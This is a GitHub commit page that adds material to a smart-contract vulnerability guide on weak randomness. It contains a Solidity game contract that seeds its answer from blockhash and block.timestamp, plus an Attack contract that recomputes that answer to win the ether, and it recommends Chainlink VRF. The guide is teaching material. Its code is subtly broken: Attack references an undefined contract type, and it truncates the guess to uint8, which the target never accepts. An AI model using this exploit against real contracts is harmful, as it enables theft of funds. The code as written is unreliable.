Skip to content

Commit

Permalink
Update Weak Sources of Randomness (#78)
Browse files Browse the repository at this point in the history
* update randomness

* Update weak-sources-randomness.md

* update
  • Loading branch information
rakesh0x7 authored Oct 30, 2024
1 parent 2f54f7d commit 994946a
Showing 1 changed file with 52 additions and 2 deletions.
54 changes: 52 additions & 2 deletions vulnerabilities/weak-sources-randomness.md
Original file line number Diff line number Diff line change
@@ -1,8 +1,58 @@
## Weak Sources of Randomness from Chain Attributes

Using chain attributes for randomness, e.g.: `block.timestamp`, `blockhash`, and `block.difficulty` can seem like a good idea since they often produce pseudo-random values. The problem however, is that Ethereum is entirely deterministic and all available on-chain data is public. Chain attributes can either be predicted or manipulated, and should thus never be used for random number generation.
Using chain attributes for randomness, e.g.: `block.timestamp`, `blockhash`, and `block.difficulty` can seem like a good idea since they often produce pseudo-random values. The problem, however, is that Ethereum is entirely deterministic and all available on-chain data is public. Chain attributes can either be predicted or manipulated, and should thus never be used for random number generation.

A common solution is to use an oracle solution such as [Chainlink VRF](https://docs.chain.link/vrf/v2/introduction/).
### Example of Weak Randomness

```solidity
pragma solidity ^0.8.24;
contract GuessTheRandomNumber {
constructor() payable {}
function guess(uint256 _guess) public {
uint256 answer = uint256(
keccak256(
abi.encodePacked(blockhash(block.number - 1), block.timestamp)
)
);
if (_guess == answer) {
(bool sent,) = msg.sender.call{value: 1 ether}("");
require(sent, "Failed to send Ether");
}
}
}
```
In the above example, the answer variable is initialized using `blockhash(block.number - 1)` and `block.timestamp`. This method is insecure because both `blockhash` and `block.timestamp` can be retrieved directly by another contract just in time, making it possible to guess the answer and win the challenge unfairly.

An attacker can exploit the weak randomness as follows:

```solidity
contract Attack {
receive() external payable {}
function attack(GuessTheRandomNumberChallenge guessTheRandomNumber) public {
uint256 answer = uint256(
keccak256(
abi.encodePacked(blockhash(block.number - 1), block.timestamp)
)
);
guessTheRandomNumber.guess(uint8(answer));
}
// Helper function to check balance
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}
```
The `Attack` contract calculates the `answer` using the same logic as the `GuessTheRandomNumber` contract and guesses it correctly, allowing the attacker to win the challenge.

### Preventive Measures

A common and more secure solution is to use an oracle service such as [Chainlink VRF](https://docs.chain.link/vrf/v2/introduction/), which provides verifiable randomness that cannot be manipulated.

### Sources

Expand Down

0 comments on commit 994946a

Please sign in to comment.